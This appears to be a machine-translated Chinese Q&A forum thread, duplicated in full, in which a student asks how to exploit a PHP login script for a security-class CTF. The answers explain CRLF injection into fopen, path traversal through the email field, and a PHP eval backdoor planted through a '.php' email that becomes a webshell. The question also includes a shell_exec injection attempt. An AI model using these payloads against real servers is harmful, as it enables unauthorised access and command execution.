利用 php 的 fopen 中的漏洞
Exploiting vulnerabilites in php's fopen
我正在学习网络安全 class,对于一项作业,我们必须利用特定的 php 文件并获得对托管该文件的服务器的某种访问权限。我可以设置自己的 $email
和 $password
变量,因为它们是用 $_POST
设置的。我相信我唯一可以利用的代码就是这个。
$email = $_POST['email']
$password = $_POST['password']
....
$accountfile = "./acounts/" . $email
if(!file_exists($accountfile)){
diefooter("unknown email address or password")
}
$fh = fopen($accountfile, "r")
if(!$fh){
diefooter("Cannot open file $accountfile.");
}
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);
if(strcmp($pass,$password)!=0){
diefooter("wrong email or password.")
}
我知道 fopen() 函数中存在漏洞,我可以使用正确的输入访问 shell。
filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php"
shellKode = "exploit@gmail.com[=12=];echo shell_exec("+'"cat '+filePath+'");'
# payload = {'email':shellKode, 'password':'test'}
testPayload = {'email':'exploit@gmail.com','password':'a'}
r = requests.post(url, data = testPayload)
print(r.text)
我可以将电子邮件输入系统,但格式在保存前经过验证。在这一点上,我有点迷茫,不确定我还能做什么。
fopen()
是文件中我认为可以被利用的唯一函数,我想不出另一个可能被利用的地方。
我认为他们指的是 CRLF 漏洞。
在您的示例利用代码中,您传递了一些 php 代码,但这不是您要做的。
目标是 fopen
从 Internet 打开文件。如果 $email
变量包含两个由 CRLF 分隔的字符串,您可以让 fopen()
访问不应该访问的外部网站。
一切都取决于 $fh
文件描述符之后发生的情况,这将决定您将如何利用它。
这是我在该漏洞上发现的 link:http://www.securiteam.com/unixfocus/5OP0C0A8AC.html
在您发布更多代码后进行编辑:
我们从您可以强制 $password
到您想要的值开始。
所以游戏的名称是将 $pass
强制为您想要的值,例如 strcmp
returns true
,并且您在不知情的情况下登录密码。
$pass
控制在最后一个语句 $pass = fgets($fh)
并且如果您使用 CRLF 漏洞指向 fopen 打开您托管的 URL,例如http://your.ip.address/your-file,并在该文件中设置与 $password
中相同的数据。这应该允许您无需注册即可登录。
但是代码中有一些奇怪的东西,例如:
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);
似乎代码可能不完整,因为这里 $last
、$first
和 $pass
的值将始终相同,这没有任何意义。那将是一个需要考虑的向量。
可能性 #2 - 文件遍历:
在 $email
变量中使用 ../
,您将能够访问 fopen
中与 acounts/
文件夹之外的不同文件。
如果你运行:
<?php
$fh = fopen("acounts/../../test.sh","r");
?>
它评估成功并为test.sh的内容查找两个文件夹。因此,您可以通过 $email
变量探测文件系统的内容。然后游戏的名字就是找到一个你知道内容的标准文件,把它填入$password
,你就可以免注册登录系统了。
可能性 #3 - 注册一个以 .php:
结尾的电子邮件地址
正如 drew010 所提到的,假设您被允许注册一个自定义帐户,然后通过注册一个以 .php
结尾的 $email
,并输入 eval()
php 代码在 $password
中注册您的帐户时,会在 acounts/
中创建一个以您的 $email
命名的后门文件,您可以通过网络访问该文件。
由于它打开的用于存储用户数据的文件被引用为 $accountfile = "./acounts/" . $email
看起来一种可能的攻击媒介是尝试使用像 something@domain.php
这样的电子邮件地址(或者只是username.php
取决于是否有适当的验证)。
由于它会将您的密码写入(可能未经过哈希处理?)该文件,您可以将密码设置为恶意的内容(例如 <?php eval($_REQUEST['x'] ?>
)。
然后,查看是否可以访问http://thesite/accounts/something@domain.php?x=echo 'hi';
,并查看是否将'hi'打印到浏览器。
如果是这样,那就玩得开心 $_REQUEST['x']
并让它执行诸如将任意文件写入系统(webshell)或打开和读取其他文件并打印其内容等操作。
我正在学习网络安全 class,对于一项作业,我们必须利用特定的 php 文件并获得对托管该文件的服务器的某种访问权限。我可以设置自己的 $email
和 $password
变量,因为它们是用 $_POST
设置的。我相信我唯一可以利用的代码就是这个。
$email = $_POST['email']
$password = $_POST['password']
....
$accountfile = "./acounts/" . $email
if(!file_exists($accountfile)){
diefooter("unknown email address or password")
}
$fh = fopen($accountfile, "r")
if(!$fh){
diefooter("Cannot open file $accountfile.");
}
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);
if(strcmp($pass,$password)!=0){
diefooter("wrong email or password.")
}
我知道 fopen() 函数中存在漏洞,我可以使用正确的输入访问 shell。
filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php"
shellKode = "exploit@gmail.com[=12=];echo shell_exec("+'"cat '+filePath+'");'
# payload = {'email':shellKode, 'password':'test'}
testPayload = {'email':'exploit@gmail.com','password':'a'}
r = requests.post(url, data = testPayload)
print(r.text)
我可以将电子邮件输入系统,但格式在保存前经过验证。在这一点上,我有点迷茫,不确定我还能做什么。
fopen()
是文件中我认为可以被利用的唯一函数,我想不出另一个可能被利用的地方。
我认为他们指的是 CRLF 漏洞。
在您的示例利用代码中,您传递了一些 php 代码,但这不是您要做的。
目标是 fopen
从 Internet 打开文件。如果 $email
变量包含两个由 CRLF 分隔的字符串,您可以让 fopen()
访问不应该访问的外部网站。
一切都取决于 $fh
文件描述符之后发生的情况,这将决定您将如何利用它。
这是我在该漏洞上发现的 link:http://www.securiteam.com/unixfocus/5OP0C0A8AC.html
在您发布更多代码后进行编辑:
我们从您可以强制 $password
到您想要的值开始。
所以游戏的名称是将 $pass
强制为您想要的值,例如 strcmp
returns true
,并且您在不知情的情况下登录密码。
$pass
控制在最后一个语句 $pass = fgets($fh)
并且如果您使用 CRLF 漏洞指向 fopen 打开您托管的 URL,例如http://your.ip.address/your-file,并在该文件中设置与 $password
中相同的数据。这应该允许您无需注册即可登录。
但是代码中有一些奇怪的东西,例如:
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);
似乎代码可能不完整,因为这里 $last
、$first
和 $pass
的值将始终相同,这没有任何意义。那将是一个需要考虑的向量。
可能性 #2 - 文件遍历:
在 $email
变量中使用 ../
,您将能够访问 fopen
中与 acounts/
文件夹之外的不同文件。
如果你运行:
<?php
$fh = fopen("acounts/../../test.sh","r");
?>
它评估成功并为test.sh的内容查找两个文件夹。因此,您可以通过 $email
变量探测文件系统的内容。然后游戏的名字就是找到一个你知道内容的标准文件,把它填入$password
,你就可以免注册登录系统了。
可能性 #3 - 注册一个以 .php:
结尾的电子邮件地址正如 drew010 所提到的,假设您被允许注册一个自定义帐户,然后通过注册一个以 .php
结尾的 $email
,并输入 eval()
php 代码在 $password
中注册您的帐户时,会在 acounts/
中创建一个以您的 $email
命名的后门文件,您可以通过网络访问该文件。
由于它打开的用于存储用户数据的文件被引用为 $accountfile = "./acounts/" . $email
看起来一种可能的攻击媒介是尝试使用像 something@domain.php
这样的电子邮件地址(或者只是username.php
取决于是否有适当的验证)。
由于它会将您的密码写入(可能未经过哈希处理?)该文件,您可以将密码设置为恶意的内容(例如 <?php eval($_REQUEST['x'] ?>
)。
然后,查看是否可以访问http://thesite/accounts/something@domain.php?x=echo 'hi';
,并查看是否将'hi'打印到浏览器。
如果是这样,那就玩得开心 $_REQUEST['x']
并让它执行诸如将任意文件写入系统(webshell)或打开和读取其他文件并打印其内容等操作。